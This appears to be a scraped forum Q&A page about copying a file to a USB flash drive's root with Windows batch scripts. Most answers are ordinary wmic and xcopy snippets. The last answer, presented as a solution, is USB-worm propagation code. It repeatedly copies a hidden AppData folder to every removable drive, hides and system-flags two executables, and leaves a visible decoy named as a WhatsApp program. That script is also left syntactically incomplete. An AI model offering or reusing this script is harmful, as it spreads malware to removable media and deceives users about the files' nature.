Copy a file into USB flash drive root using batch files

假如想象 提交于 2019-12-03 21:24:53

This will do exactly as you want to any and all connected USB drives.

@echo off

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
        )
        )
 xcopy /s "%userprofile%\Desktop\test.txt" "\"

You should replace it with drive letter of USB drive followed by :\ So, the real question is how to determine, which of the drives in system are USB flash drives, I guess? Here is the code:

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

But take into account that it definitely works only for 1 removable disk. It will fail, if two devices of this type are plugged in.

What you are going to need to do is use a relative path for your USB directory. The code will look like this:

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause

This should let you enter into a prompt where you would like to copy the folder from/its name. It will name the file the same as the original and keep the original format (.txt, etc.). Let me know if this does not work for you instead of downvoting and I will work out another solution for you asap. Best of luck!

@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop

Is exactly what you need

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!